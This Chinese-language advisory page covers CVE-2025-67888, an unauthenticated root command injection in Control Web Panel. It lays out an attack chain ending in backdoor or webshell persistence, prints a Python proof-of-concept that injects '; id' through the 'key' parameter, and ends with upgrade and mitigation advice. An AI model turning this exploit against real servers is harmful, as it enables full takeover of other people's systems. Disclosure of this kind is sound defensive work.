IPBUF安全漏洞报告
English
CVE-2025-67888 CVSS 7.3 高危

CVE-2025-67888 Control Web Panel 远程代码执行漏洞

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2025-67888
漏洞类型
命令注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Control Web Panel (CWP)

相关标签

远程代码执行命令注入RCEControl Web PanelCWPRoot

漏洞概述

Control Web Panel (CWP) 在 0.9.8.1209 之前的版本中存在严重的远程代码执行漏洞。该漏洞源于 /admin/index.php 接口在处理“api”参数时,未对传入的“key”参数进行严格的过滤和清洗。前提条件是服务器安装了 Softaculous 或 SitePad 组件。未经身份认证的攻击者可利用此漏洞发送特制请求,在目标服务器上以 root 权限执行任意操作系统命令,导致服务器被完全控制。

技术细节

该漏洞属于典型的操作系统命令注入漏洞。在受影响的 Control Web Panel 版本中,`/admin/index.php` 脚本处理请求时存在逻辑缺陷。具体而言,当请求中设置了特定的“api”参数时,程序会将 GET 请求中的“key”参数值直接拼接到系统 Shell 命令中执行,且未对用户输入进行任何形式的清洗或转义处理。由于 CWP 的核心服务通常以 root 权限运行,这导致了权限提升的风险。攻击者无需经过身份验证,只需向目标服务器发送精心构造的 HTTP GET 请求,在“key”参数中注入恶意的 Shell 命令(例如利用反引号或管道符)。值得注意的是,该漏洞的触发依赖于服务器环境中安装了 Softaculous 或 SitePad 组件。一旦满足条件,攻击者即可继承 Web 服务器进程的高权限,在系统后台执行任意代码,从而完全接管服务器。

攻击链分析

STEP 1
侦察
攻击者扫描目标服务器,识别是否运行 Control Web Panel (CWP),并检测是否存在 Softaculous 或 SitePad 组件。
STEP 2
漏洞利用
攻击者向 /admin/index.php 发送特制的 HTTP GET 请求,设置 'api' 参数并在 'key' 参数中注入恶意 Shell 命令。
STEP 3
命令执行
由于未对输入进行过滤,服务器将 'key' 参数值拼接到系统命令中并以 root 权限执行攻击者的代码。
STEP 4
权限维持
攻击者利用 root 权限创建后门账号或安装 Webshell,以维持对服务器的持久化控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-67888 Proof of Concept # Target: Control Web Panel (CWP) < 0.9.8.1209 # Description: Unauthenticated RCE via 'key' parameter # Note: Requires Softaculous or SitePad to be installed target_url = "http://target-host:2030/admin/index.php" # The 'api' parameter must be set (value often depends on config, using generic '1' here) # The 'key' parameter contains the injection point # Payload: `; id` executes the 'id' command after the original command payload = "; id" params = { "api": "1", "key": payload } try: print("[*] Sending payload to %s" % target_url) response = requests.get(target_url, params=params, timeout=10) print("Status Code: %d" % response.status_code) print("Response Headers: %s" % response.headers) print("Response Body:\n%s" % response.text) # Basic check to see if command output (uid=) is in the response if "uid=" in response.text or "gid=" in response.text: print("[+] Command injection successful!") else: print("[-] Could not confirm command execution.") except Exception as e: print("[-] An error occurred: %s" % str(e))

影响范围

Control Web Panel (CWP) < 0.9.8.1209

防御指南

临时缓解措施
建议立即升级 Control Web Panel 至最新版本 0.9.8.1209 或以上以修复此漏洞。在无法立即升级的情况下,应限制对管理端口(如2030、2086)的外网访问,仅允许受信任的 IP 地址连接,并部署 Web 应用防火墙(WAF)以拦截包含恶意命令字符的请求。此外,检查服务器是否安装 Softaculous 或 SitePad,如非必要可暂时卸载。

参考链接